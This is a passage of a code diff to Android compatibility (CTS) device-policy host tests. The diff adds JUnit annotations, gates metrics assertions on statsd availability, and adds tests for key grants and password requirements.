                     .setAdminPackageName(DEVICE_ADMIN_PKG)
                     .build());
+        }
     }
 
+    @Test
     public void testApplicationHidden() throws Exception {
         if (!mHasFeature) {
             return;
         }
         installAppPermissionAppAsUser();
         executeDeviceTestClass(".ApplicationHiddenTest");
-        installAppAsUser(PERMISSIONS_APP_APK, mUserId);
-        assertMetricsLogged(getDevice(), () -> {
-            executeDeviceTestMethod(".ApplicationHiddenTest",
-                    "testSetApplicationHidden");
-        }, new DevicePolicyEventWrapper.Builder(EventId.SET_APPLICATION_HIDDEN_VALUE)
+        if (isStatsdEnabled(getDevice())) {
+            installAppAsUser(PERMISSIONS_APP_APK, mUserId);
+            assertMetricsLogged(getDevice(), () -> {
+                executeDeviceTestMethod(".ApplicationHiddenTest",
+                        "testSetApplicationHidden");
+            }, new DevicePolicyEventWrapper.Builder(EventId.SET_APPLICATION_HIDDEN_VALUE)
                     .setAdminPackageName(DEVICE_ADMIN_PKG)
                     .setBoolean(false)
                     .setStrings(PERMISSIONS_APP_PKG, "hidden")
@@ -721,8 +774,10 @@
                     .setBoolean(false)
                     .setStrings(PERMISSIONS_APP_PKG, "not_hidden")
                     .build());
+        }
     }
 
+    @Test
     public void testAccountManagement_deviceAndProfileOwnerAlwaysAllowed() throws Exception {
         if (!mHasFeature) {
             return;
@@ -732,6 +787,7 @@
         executeDeviceTestClass(".AllowedAccountManagementTest");
     }
 
+    @Test
     public void testAccountManagement_userRestrictionAddAccount() throws Exception {
         if (!mHasFeature) {
             return;
@@ -748,6 +804,7 @@
         executeAccountTest("testAddAccount_allowed");
     }
 
+    @Test
     public void testAccountManagement_userRestrictionRemoveAccount() throws Exception {
         if (!mHasFeature) {
             return;
@@ -764,6 +821,7 @@
         executeAccountTest("testRemoveAccount_allowed");
     }
 
+    @Test
     public void testAccountManagement_disabledAddAccount() throws Exception {
         if (!mHasFeature) {
             return;
@@ -780,6 +838,7 @@
         executeAccountTest("testAddAccount_allowed");
     }
 
+    @Test
     public void testAccountManagement_disabledRemoveAccount() throws Exception {
         if (!mHasFeature) {
             return;
@@ -796,6 +855,7 @@
         executeAccountTest("testRemoveAccount_allowed");
     }
 
+    @Test
     public void testDelegatedCertInstaller() throws Exception {
         if (!mHasFeature) {
             return;
@@ -807,13 +867,15 @@
 
 
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".DelegatedCertInstallerTest", mUserId);
-        assertMetricsLogged(getDevice(), () -> {
+        if (isStatsdEnabled(getDevice())) {
+            assertMetricsLogged(getDevice(), () -> {
                 runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".DelegatedCertInstallerTest",
                         "testInstallKeyPair", mUserId);
-                }, new DevicePolicyEventWrapper.Builder(EventId.SET_CERT_INSTALLER_PACKAGE_VALUE)
-                .setAdminPackageName(DEVICE_ADMIN_PKG)
-                .setStrings(CERT_INSTALLER_PKG)
-                .build());
+            }, new DevicePolicyEventWrapper.Builder(EventId.SET_CERT_INSTALLER_PACKAGE_VALUE)
+                    .setAdminPackageName(DEVICE_ADMIN_PKG)
+                    .setStrings(CERT_INSTALLER_PKG)
+                    .build());
+        }
     }
 
     public interface DelegatedCertInstallerTestAction {
@@ -838,6 +900,7 @@
     // This test currently duplicates the testDelegatedCertInstaller, with one difference:
     // The Delegated cert installer app is called directly rather than via intents from
     // the DelegatedCertinstallerTest.
+    @Test
     public void testDelegatedCertInstallerDirectly() throws Exception {
         if (!mHasFeature) {
             return;
@@ -848,8 +911,40 @@
                     ".DirectDelegatedCertInstallerTest", mUserId));
     }
 
+    // This test generates a key pair and validates that an app can be silently granted
+    // access to it.
+    @Test
+    public void testSetKeyGrant() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+
+        // Install an app
+        installAppAsUser(CERT_INSTALLER_APK, mUserId);
+
+        try {
+            // First, generate a key and grant the cert installer access to it.
+            runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".DelegatedCertInstallerHelper",
+                    "testManualGenerateKeyAndGrantAccess", mUserId);
+            // Test the key is usable.
+            runDeviceTestsAsUser("com.android.cts.certinstaller",
+                    ".PreSelectedKeyAccessTest", "testAccessingPreSelectedAliasExpectingSuccess",
+                    mUserId);
+            // Remove the grant
+            runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".DelegatedCertInstallerHelper",
+                    "testManualRemoveKeyGrant", mUserId);
+            // Run another test to make sure the app no longer has access to the key.
+            runDeviceTestsAsUser("com.android.cts.certinstaller",
+                    ".PreSelectedKeyAccessTest", "testAccessingPreSelectedAliasWithoutGrant", mUserId);
+        } finally {
+            runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".DelegatedCertInstallerHelper",
+                    "testManualClearGeneratedKey", mUserId);
+        }
+    }
+
     // Sets restrictions and launches non-admin app, that tries to set wallpaper.
     // Non-admin apps must not violate any user restriction.
+    @Test
     public void testSetWallpaper_disallowed() throws Exception {
         // UserManager.DISALLOW_SET_WALLPAPER
         final String DISALLOW_SET_WALLPAPER = "no_set_wallpaper";
@@ -857,6 +952,11 @@
             return;
         }
 
+        if (!hasService("wallpaper")) {
+            CLog.d("testSetWallpaper_disallowed(): device does not support wallpapers");
+            return;
+        }
+
         installAppAsUser(CUSTOMIZATION_APP_APK, mUserId);
         try {
             changeUserRestrictionOrFail(DISALLOW_SET_WALLPAPER, true, mUserId);
@@ -869,14 +969,20 @@
 
     // Runs test with admin privileges. The test methods set all the tested restrictions
     // inside. But these restrictions must have no effect on the device/profile owner behavior.
+    @Test
     public void testDisallowSetWallpaper_allowed() throws Exception {
         if (!mHasFeature) {
             return;
         }
+        if (!hasService("wallpaper")) {
+            CLog.d("testDisallowSetWallpaper_allowed(): device does not support wallpapers");
+            return;
+        }
         executeDeviceTestMethod(".CustomizationRestrictionsTest",
                 "testDisallowSetWallpaper_allowed");
     }
 
+    @Test
     public void testDisallowAutofill_allowed() throws Exception {
         if (!mHasFeature) {
             return;
@@ -891,6 +997,7 @@
                 "testDisallowAutofill_allowed");
     }
 
+    @Test
     public void testDisallowContentCapture_allowed() throws Exception {
         if (!mHasFeature) {
             return;
@@ -912,6 +1019,7 @@
         }
     }
 
+    @Test
     public void testDisallowContentSuggestions_allowed() throws Exception {
         if (!mHasFeature) {
             return;
@@ -946,6 +1054,7 @@
                 "cmd content_capture set default-service-enabled " + mUserId + " " + enabled);
     }
 
+    @Test
     public void testSetMeteredDataDisabledPackages() throws Exception {
         if (!mHasFeature) {
             return;
@@ -955,6 +1064,7 @@
         executeDeviceTestClass(".MeteredDataRestrictionTest");
     }
 
+    @Test
     public void testPackageInstallUserRestrictions() throws Exception {
         if (!mHasFeature) {
             return;
@@ -968,13 +1078,9 @@
         // UserManager.DISALLOW_INSTALL_UNKNOWN_SOURCES_GLOBALLY
         final String DISALLOW_INSTALL_UNKNOWN_SOURCES_GLOBALLY =
                 "no_install_unknown_sources_globally";
-        final String PACKAGE_VERIFIER_USER_CONSENT_SETTING = "package_verifier_user_consent";
-        final String PACKAGE_VERIFIER_ENABLE_SETTING = "package_verifier_enable";
         final String SECURE_SETTING_CATEGORY = "secure";
         final String GLOBAL_SETTING_CATEGORY = "global";
         final File apk = mBuildHelper.getTestFile(TEST_APP_APK);
-        String packageVerifierEnableSetting = null;
-        String packageVerifierUserConsentSetting = null;
         try {
             // Install the test and prepare the test apk.
             installAppAsUser(PACKAGE_INSTALLER_APK, mUserId);
@@ -998,17 +1104,6 @@
 
             // Clear global restriction and test if we can install the apk.
             changeUserRestrictionOrFail(DISALLOW_INSTALL_UNKNOWN_SOURCES_GLOBALLY, false, mUserId);
-
-            // Disable verifier.
-            packageVerifierUserConsentSetting = getSettings(SECURE_SETTING_CATEGORY,
-                    PACKAGE_VERIFIER_USER_CONSENT_SETTING, mUserId);
-            packageVerifierEnableSetting = getSettings(GLOBAL_SETTING_CATEGORY,
-                    PACKAGE_VERIFIER_ENABLE_SETTING, mUserId);
-
-            putSettings(SECURE_SETTING_CATEGORY, PACKAGE_VERIFIER_USER_CONSENT_SETTING, "-1",
-                    mUserId);
-            putSettings(GLOBAL_SETTING_CATEGORY, PACKAGE_VERIFIER_ENABLE_SETTING, "0", mUserId);
-            // Skip verifying above setting values as some of them may be overrided.
             runDeviceTestsAsUser(PACKAGE_INSTALLER_PKG, ".ManualPackageInstallTest",
                     "testManualInstallSucceeded", mUserId);
         } finally {
@@ -1017,17 +1112,10 @@
             getDevice().executeShellCommand(command);
             getDevice().uninstallPackage(TEST_APP_PKG);
             getDevice().uninstallPackage(PACKAGE_INSTALLER_PKG);
-            if (packageVerifierEnableSetting != null) {
-                putSettings(GLOBAL_SETTING_CATEGORY, PACKAGE_VERIFIER_ENABLE_SETTING,
-                        packageVerifierEnableSetting, mUserId);
-            }
-            if (packageVerifierUserConsentSetting != null) {
-                putSettings(SECURE_SETTING_CATEGORY, PACKAGE_VERIFIER_USER_CONSENT_SETTING,
-                        packageVerifierUserConsentSetting, mUserId);
-            }
         }
     }
 
+    @Test
     public void testAudioRestriction() throws Exception {
         if (!mHasFeature) {
             return;
@@ -1041,8 +1129,9 @@
         }
     }
 
+    @Test
     public void testDisallowAdjustVolumeMutedLogged() throws Exception {
-        if (!mHasFeature) {
+        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
             return;
         }
         assertMetricsLogged(getDevice(), () -> {
@@ -1058,6 +1147,8 @@
                     .build());
     }
 
+    @FlakyTest(bugId = 132226089)
+    @Test
     public void testLockTask() throws Exception {
         if (!mHasFeature) {
             return;
@@ -1065,14 +1156,17 @@
         try {
             installAppAsUser(INTENT_RECEIVER_APK, mUserId);
             executeDeviceTestClass(".LockTaskTest");
-            assertMetricsLogged(
-                    getDevice(),
-                    () -> executeDeviceTestMethod(".LockTaskTest", "testStartLockTask"),
-                    new DevicePolicyEventWrapper.Builder(EventId.SET_LOCKTASK_MODE_ENABLED_VALUE)
-                            .setAdminPackageName(DEVICE_ADMIN_PKG)
-                            .setBoolean(true)
-                            .setStrings(DEVICE_ADMIN_PKG)
-                            .build());
+            if (isStatsdEnabled(getDevice())) {
+                assertMetricsLogged(
+                        getDevice(),
+                        () -> executeDeviceTestMethod(".LockTaskTest", "testStartLockTask"),
+                        new DevicePolicyEventWrapper.Builder(
+                                EventId.SET_LOCKTASK_MODE_ENABLED_VALUE)
+                                .setAdminPackageName(DEVICE_ADMIN_PKG)
+                                .setBoolean(true)
+                                .setStrings(DEVICE_ADMIN_PKG)
+                                .build());
+            }
         } catch (AssertionError ex) {
             // STOPSHIP(b/32771855), remove this once we fixed the bug.
             executeShellCommand("dumpsys activity activities");
@@ -1084,6 +1178,8 @@
         }
     }
 
+    @LargeTest
+    @Test
     public void testLockTaskAfterReboot() throws Exception {
         if (!mHasFeature) {
             return;
@@ -1104,6 +1200,8 @@
         }
     }
 
+    @LargeTest
+    @Test
     public void testLockTaskAfterReboot_tryOpeningSettings() throws Exception {
         if (!mHasFeature) {
             return;
@@ -1127,6 +1225,7 @@
         }
     }
 
+    @Test
     public void testLockTask_defaultDialer() throws Exception {
         if (!mHasFeature || !mHasTelephony) {
             return;
@@ -1139,6 +1238,7 @@
         }
     }
 
+    @Test
     public void testLockTask_emergencyDialer() throws Exception {
         if (!mHasFeature || !mHasTelephony) {
             return;
@@ -1151,6 +1251,7 @@
         }
     }
 
+    @Test
     public void testLockTask_exitIfNoLongerWhitelisted() throws Exception {
         if (!mHasFeature) {
             return;
@@ -1163,6 +1264,8 @@
         }
     }
 
+    @FlakyTest(bugId = 141314026)
+    @Test
     public void testSuspendPackage() throws Exception {
         if (!mHasFeature) {
             return;
@@ -1190,6 +1293,8 @@
         executeDeviceTestMethod(".SuspendPackageTest", "testSuspendNotSuspendablePackages");
     }
 
+    @FlakyTest(bugId = 141314026)
+    @Test
     public void testSuspendPackageWithPackageManager() throws Exception {
         if (!mHasFeature) {
             return;
@@ -1203,11 +1308,13 @@
         executeSuspendPackageTestMethod("testPackageSuspendedWithPackageManager");
 
         // Undo the suspend.
-        executeDeviceTestMethod(".SuspendPackageTest", "testSetPackagesNotSuspended");
+        executeDeviceTestMethod(".SuspendPackageTest",
+                "testSetPackagesNotSuspendedWithPackageManager");
         // Verify that the package is not suspended from the PREVIOUS test and that the app launches
         executeSuspendPackageTestMethod("testPackageNotSuspended");
     }
 
+    @Test
     public void testTrustAgentInfo() throws Exception {
         if (!mHasFeature || !mHasSecureLockScreen) {
             return;
@@ -1215,6 +1322,8 @@
         executeDeviceTestClass(".TrustAgentInfoTest");
     }
 
+    @FlakyTest(bugId = 141161038)
+    @Test
     public void testCannotRemoveUserIfRestrictionSet() throws Exception {
         // Outside of the primary user, setting DISALLOW_REMOVE_USER would not work.
         if (!mHasFeature || !canCreateAdditionalUsers(1) || mUserId != getPrimaryUser()) {
@@ -1230,6 +1339,7 @@
         }
     }
 
+    @Test
     public void testCannotEnableOrDisableDeviceOwnerOrProfileOwner() throws Exception {
         if (!mHasFeature) {
             return;
@@ -1255,6 +1365,7 @@
 
     }
 
+    @Test
     public void testRequiredStrongAuthTimeout() throws Exception {
         if (!mHasFeature || !mHasSecureLockScreen) {
             return;
@@ -1262,6 +1373,7 @@
         executeDeviceTestClass(".RequiredStrongAuthTimeoutTest");
     }
 
+    @Test
     public void testCreateAdminSupportIntent() throws Exception {
         if (!mHasFeature) {
             return;
@@ -1269,8 +1381,9 @@
         executeDeviceTestClass(".PolicyTransparencyTest");
     }
 
+    @Test
     public void testSetCameraDisabledLogged() throws Exception {
-        if (!mHasFeature) {
+        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
             return;
         }
         assertMetricsLogged(getDevice(), () -> {
@@ -1285,6 +1398,8 @@
                     .build());
     }
 
+    @LockSettingsTest
+    @Test
     public void testResetPasswordWithToken() throws Exception {
         if (!mHasFeature || !mHasSecureLockScreen) {
             return;
@@ -1299,6 +1414,7 @@
         executeResetPasswordWithTokenTests(true);
     }
 
+    @Test
     public void testPasswordSufficientInitially() throws Exception {
         if (!mHasFeature) {
             return;
@@ -1306,6 +1422,21 @@
         executeDeviceTestClass(".PasswordSufficientInitiallyTest");
     }
 
+    @Test
+    public void testPasswordRequirementsApi() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+
+        executeDeviceTestMethod(".PasswordRequirementsTest",
+                "testSettingConstraintsWithLowQualityThrowsOnRPlus");
+        executeDeviceTestMethod(".PasswordRequirementsTest",
+                "testSettingConstraintsWithNumericQualityOnlyLengthAllowedOnRPlus");
+        executeDeviceTestMethod(".PasswordRequirementsTest",
+                "testSettingConstraintsWithComplexQualityAndResetWithLowerQuality");
+    }
+
+    @Test
     public void testGetCurrentFailedPasswordAttempts() throws Exception {
         if (!mHasFeature || !mHasSecureLockScreen) {
             return;
@@ -1338,6 +1469,7 @@
         }
     }
 
+    @Test
     public void testPasswordExpiration() throws Exception {
         if (!mHasFeature || !mHasSecureLockScreen) {
             return;
@@ -1345,6 +1477,7 @@
         executeDeviceTestClass(".PasswordExpirationTest");
     }
 
+    @Test
     public void testGetPasswordExpiration() throws Exception {
         if (!mHasFeature || !mHasSecureLockScreen) {
             return;
@@ -1364,6 +1497,7 @@
         }
     }
 
+    @Test
     public void testPasswordQualityWithoutSecureLockScreen() throws Exception {
         if (!mHasFeature || mHasSecureLockScreen) {
             return;
@@ -1372,6 +1506,7 @@
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".UnavailableSecureLockScreenTest", mUserId);
     }
 
+    @Test
     public void testSetSystemSetting() throws Exception {
         if (!mHasFeature) {
             return;
@@ -1384,6 +1519,7 @@
                 Collections.singletonMap(ARG_ALLOW_FAILURE, Boolean.toString(allowFailures)));
     }
 
+    @Test
     public void testClearApplicationData_testPkg() throws Exception {
         if (!mHasFeature) {
             return;
@@ -1396,6 +1532,7 @@
                 "testSharedPreferenceCleared", mUserId);
     }
 
+    @Test
     public void testClearApplicationData_deviceProvisioning() throws Exception {
         if (!mHasFeature) {
             return;
@@ -1405,6 +1542,7 @@
                 "testClearApplicationData_deviceProvisioning");
     }
 
+    @Test
     public void testClearApplicationData_activeAdmin() throws Exception {
         if (!mHasFeature) {
             return;
@@ -1414,6 +1552,7 @@
                 "testClearApplicationData_activeAdmin");
     }
 
+    @Test
     public void testPrintingPolicy() throws Exception {
         if (!mHasFeature) {
             return;
@@ -1426,6 +1565,7 @@
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, className, mUserId);
     }
 
+    @Test
     public void testKeyManagement() throws Exception {
         if (!mHasFeature) {
             return;
@@ -1434,8 +1574,9 @@
         executeDeviceTestClass(".KeyManagementTest");
     }
 
+    @Test
     public void testInstallKeyPairLogged() throws Exception {
-        if (!mHasFeature) {
+        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
             return;
         }
 
@@ -1451,8 +1592,9 @@
                 .build());
     }
 
+    @Test
     public void testGenerateKeyPairLogged() throws Exception {
-        if (!mHasFeature) {
+        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
             return;
         }
 
@@ -1474,8 +1616,9 @@
 
     }
 
+    @Test
     public void testSetKeyPairCertificateLogged() throws Exception {
-        if (!mHasFeature) {
+        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
             return;
         }
 
@@ -1487,16 +1630,18 @@
                 .build());
     }
 
+    @Test
     public void testPermittedAccessibilityServices() throws Exception {
         if (!mHasFeature) {
             return;
         }
 
         executeDeviceTestClass(".AccessibilityServicesTest");
-        assertMetricsLogged(getDevice(), () -> {
-            executeDeviceTestMethod(".AccessibilityServicesTest",
-                    "testPermittedAccessibilityServices");
-        }, new DevicePolicyEventWrapper
+        if (isStatsdEnabled(getDevice())) {
+            assertMetricsLogged(getDevice(), () -> {
+                executeDeviceTestMethod(".AccessibilityServicesTest",
+                        "testPermittedAccessibilityServices");
+            }, new DevicePolicyEventWrapper
                     .Builder(EventId.SET_PERMITTED_ACCESSIBILITY_SERVICES_VALUE)
                     .setAdminPackageName(DEVICE_ADMIN_PKG)
                     .setStrings((String[]) null)
@@ -1511,18 +1656,20 @@
                     .setAdminPackageName(DEVICE_ADMIN_PKG)
                     .setStrings("com.google.pkg.one", "com.google.pkg.two")
                     .build());
+        }
     }
 
+    @Test
     public void testPermittedInputMethods() throws Exception {
         if (!mHasFeature) {
             return;
         }
 
         executeDeviceTestClass(".InputMethodsTest");
-        assertMetricsLogged(getDevice(), () -> {
-            executeDeviceTestMethod(".InputMethodsTest",
-                    "testPermittedInputMethods");
-        }, new DevicePolicyEventWrapper.Builder(EventId.SET_PERMITTED_INPUT_METHODS_VALUE)
+        if (isStatsdEnabled(getDevice())) {
+            assertMetricsLogged(getDevice(), () -> {
+                executeDeviceTestMethod(".InputMethodsTest", "testPermittedInputMethods");
+            }, new DevicePolicyEventWrapper.Builder(EventId.SET_PERMITTED_INPUT_METHODS_VALUE)
                     .setAdminPackageName(DEVICE_ADMIN_PKG)
                     .setStrings((String[]) null)
                     .build(),
@@ -1534,8 +1681,10 @@
                     .setAdminPackageName(DEVICE_ADMIN_PKG)
                     .setStrings("com.google.pkg.one", "com.google.pkg.two")
                     .build());
+        }
     }
 
+    @Test
     public void testSetStorageEncryption() throws Exception {
         if (!mHasFeature) {
             return;
@@ -1546,8 +1695,9 @@
                 DEVICE_ADMIN_PKG, STORAGE_ENCRYPTION_TEST_CLASS, null, mUserId, params);
     }
 
+    @Test
     public void testPasswordMethodsLogged() throws Exception {
-        if (!mHasFeature) {
+        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
             return;
         }
 
@@ -1555,7 +1705,7 @@
             executeDeviceTestMethod(".DevicePolicyLoggingTest", "testPasswordMethodsLogged");
         }, new DevicePolicyEventWrapper.Builder(EventId.SET_PASSWORD_QUALITY_VALUE)
                     .setAdminPackageName(DEVICE_ADMIN_PKG)
-                    .setInt(PASSWORD_QUALITY_SOMETHING)
+                    .setInt(PASSWORD_QUALITY_COMPLEX)
                     .setBoolean(false)
                     .build(),
             new DevicePolicyEventWrapper.Builder(EventId.SET_PASSWORD_MINIMUM_LENGTH_VALUE)
@@ -1588,8 +1738,9 @@
                     .build());
     }
 
+    @Test
     public void testLockNowLogged() throws Exception {
-        if (!mHasFeature) {
+        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
             return;
         }
         assertMetricsLogged(getDevice(), () -> {
@@ -1600,8 +1751,9 @@
                 .build());
     }
 
+    @Test
     public void testSetKeyguardDisabledFeaturesLogged() throws Exception {
-        if (!mHasFeature) {
+        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
             return;
         }
         assertMetricsLogged(getDevice(), () -> {
@@ -1629,8 +1781,9 @@
                     .build());
     }
 
+    @Test
     public void testSetUserRestrictionLogged() throws Exception {
-        if (!mHasFeature) {
+        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
             return;
         }
         assertMetricsLogged(getDevice(), () -> {
@@ -1663,8 +1816,9 @@
         );
     }
 
+    @Test
     public void testSetSecureSettingLogged() throws Exception {
-        if (!mHasFeature) {
+        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
             return;
         }
         assertMetricsLogged(getDevice(), () -> {
@@ -1689,8 +1843,9 @@
                     .build());
     }
 
+    @Test
     public void testSetPermissionPolicyLogged() throws Exception {
-        if (!mHasFeature) {
+        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
             return;
         }
         assertMetricsLogged(getDevice(), () -> {
@@ -1713,8 +1868,9 @@
                 .build());
     }
 
+    @Test
     public void testSetPermissionGrantStateLogged() throws Exception {
-        if (!mHasFeature) {
+        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
             return;
         }
         installAppPermissionAppAsUser();
@@ -1741,6 +1897,7 @@
                     .build());
     }
 
+    @Test
     public void testSetAutoTimeRequired() throws Exception {
         if (!mHasFeature) {
             return;
@@ -1757,8 +1914,9 @@
                     .build());
     }
 
+    @Test
     public void testEnableSystemAppLogged() throws Exception {
-        if (!mHasFeature) {
+        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
             return;
         }
         final List<String> enabledSystemPackageNames = getEnabledSystemPackageNames();
@@ -1776,8 +1934,9 @@
                 .build());
     }
 
+    @Test
     public void testEnableSystemAppWithIntentLogged() throws Exception {
-        if (!mHasFeature) {
+        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
             return;
         }
         final String systemPackageToEnable = getLaunchableSystemPackage();
@@ -1796,8 +1955,9 @@
                 .build());
     }
 
+    @Test
     public void testSetUninstallBlockedLogged() throws Exception {
-        if (!mHasFeature) {
+        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
             return;
         }
         installAppAsUser(PERMISSIONS_APP_APK, mUserId);
@@ -1811,6 +1971,7 @@
                 .build());
     }
 
+    @Test
     public void testRandomizedWifiMacAddress() throws Exception {
         if (!mHasFeature || !hasDeviceFeature("android.hardware.wifi")) {
             return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTestApi25.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTestApi25.java
index cacb226..9c0dc7f 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTestApi25.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTestApi25.java
@@ -16,17 +16,9 @@
 
 package com.android.cts.devicepolicy;
 
-import android.platform.test.annotations.RequiresDevice;
+import android.platform.test.annotations.FlakyTest;
 
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
+import org.junit.Test;
 
 /**
  * Set of tests for use cases that apply to profile and device owner with DPC
@@ -50,7 +42,7 @@
     protected int mUserId;
 
     @Override
-    protected void tearDown() throws Exception {
+    public void tearDown() throws Exception {
         if (mHasFeature) {
             getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
             getDevice().uninstallPackage(TEST_APP_PKG);
@@ -64,6 +56,7 @@
     }
 
     /** Test for resetPassword for all devices. */
+    @Test
     public void testResetPassword() throws Exception {
         if (!mHasFeature || !mHasSecureLockScreen) {
             return;
@@ -72,6 +65,8 @@
     }
 
     /** Additional test for resetPassword for FBE-enabled devices. */
+    @FlakyTest(bugId = 141161690)
+    @Test
     public void testResetPasswordFbe() throws Exception {
         if (!mHasFeature || !mSupportsFbe || !mHasSecureLockScreen) {
             return;
@@ -87,6 +82,7 @@
         executeDeviceTestMethod(RESET_PASSWORD_TEST_CLASS, "testResetPassword");
     }
 
+    @Test
     public void testPermissionGrantPreMApp() throws Exception {
         if (!mHasFeature) {
             return;
@@ -95,6 +91,16 @@
         executeDeviceTestMethod(".PermissionsTest", "testPermissionGrantStateAppPreMDeviceAdminPreQ");
     }
 
+    @Test
+    public void testPasswordRequirementsApi() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+
+        executeDeviceTestMethod(".PasswordRequirementsTest",
+                "testPasswordConstraintsDoesntThrowAndPreservesValuesPreR");
+    }
+
     protected void executeDeviceTestClass(String className) throws Exception {
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, className, mUserId);
     }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerPlusProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerPlusProfileOwnerTest.java
index 25168ff..33ec4fa 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerPlusProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerPlusProfileOwnerTest.java
@@ -17,12 +17,23 @@
 package com.android.cts.devicepolicy;
 
 import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
+import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.platform.test.annotations.FlakyTest;
+import android.platform.test.annotations.LargeTest;
+import android.stats.devicepolicy.EventId;
 
 import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
 import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper.Builder;
-import java.util.List;
 
-import android.stats.devicepolicy.EventId;
+import org.junit.Test;
+
+import java.util.List;
 
 /**
  * Tests for having both device owner and profile owner. Device owner is setup for you in
@@ -61,7 +72,7 @@
             COMP_DPC_PKG2 + "/com.android.cts.comp.AdminReceiver";
 
     @Override
-    protected void setUp() throws Exception {
+    public void setUp() throws Exception {
         super.setUp();
         // We need managed user to be supported in order to create a profile of the user owner.
         mHasFeature = mHasFeature && hasDeviceFeature("android.software.managed_users");
@@ -81,7 +92,7 @@
     }
 
     @Override
-    protected void tearDown() throws Exception {
+    public void tearDown() throws Exception {
         if (mHasFeature) {
             assertTrue("Failed to remove device owner.",
                     removeAdmin(COMP_DPC_ADMIN, mPrimaryUserId));
@@ -93,6 +104,8 @@
     /**
      * Both device owner and profile are the same package ({@link #COMP_DPC_PKG}).
      */
+    @LargeTest
+    @Test
     public void testBindDeviceAdminServiceAsUser_corpOwnedManagedProfile() throws Exception {
         if (!mHasFeature) {
             return;
@@ -116,6 +129,8 @@
      * Same as {@link #testBindDeviceAdminServiceAsUser_corpOwnedManagedProfile} except
      * creating managed profile through ManagedProvisioning like normal flow
      */
+    @FlakyTest
+    @Test
     public void testBindDeviceAdminServiceAsUser_corpOwnedManagedProfileWithManagedProvisioning()
             throws Exception {
         if (!mHasFeature) {
@@ -137,6 +152,8 @@
      * {@link #testBindDeviceAdminServiceAsUser_corpOwnedManagedProfileWithManagedProvisioning}
      * except we don't enable the profile.
      */
+    @FlakyTest
+    @Test
     public void testBindDeviceAdminServiceAsUser_canBindEvenIfProfileNotEnabled() throws Exception {
         if (!mHasFeature) {
             return;
@@ -150,6 +167,7 @@
      * Device owner is {@link #COMP_DPC_PKG} while profile owner is {@link #COMP_DPC_PKG2}.
      * Therefore it isn't allowed to bind to each other.
      */
+    @Test
     public void testBindDeviceAdminServiceAsUser_byodPlusDeviceOwnerCannotBind() throws Exception {
         if (!mHasFeature) {
             return;
@@ -174,6 +192,8 @@
      * Both device owner and profile are the same package ({@link #COMP_DPC_PKG}), as setup
      * by createAndManagedUser.
      */
+    @FlakyTest
+    @Test
     public void testBindDeviceAdminServiceAsUser_secondaryUser() throws Exception {
         if (!mHasFeature || !canCreateAdditionalUsers(1)) {
             return;
@@ -195,6 +215,8 @@
      * Test that the DO can talk to both a managed profile and managed secondary user at the same
      * time.
      */
+    @FlakyTest
+    @Test
     public void testBindDeviceAdminServiceAsUser_compPlusSecondaryUser() throws Exception {
         if (!mHasFeature || !canCreateAdditionalUsers(2)) {
             return;
@@ -217,6 +239,7 @@
         verifyBindDeviceAdminServiceAsUser(secondaryUserId);
     }
 
+    @Test
     public void testCannotRemoveProfileIfRestrictionSet() throws Exception {
         if (!mHasFeature) {
             return;
@@ -229,6 +252,8 @@
         assertTrue(getDevice().removeUser(profileUserId));
     }
 
+    @FlakyTest(bugId = 141161038)
+    @Test
     public void testCannotRemoveUserIfRestrictionSet() throws Exception {
         if (!mHasFeature || !canCreateAdditionalUsers(1)) {
             return;
@@ -241,6 +266,7 @@
         assertTrue(getDevice().removeUser(secondaryUserId));
     }
 
+    @Test
     public void testCanRemoveProfileEvenIfDisallowRemoveUserSet() throws Exception {
         if (!mHasFeature) {
             return;
@@ -252,6 +278,7 @@
         assertUserGetsRemoved(profileUserId);
     }
 
+    @Test
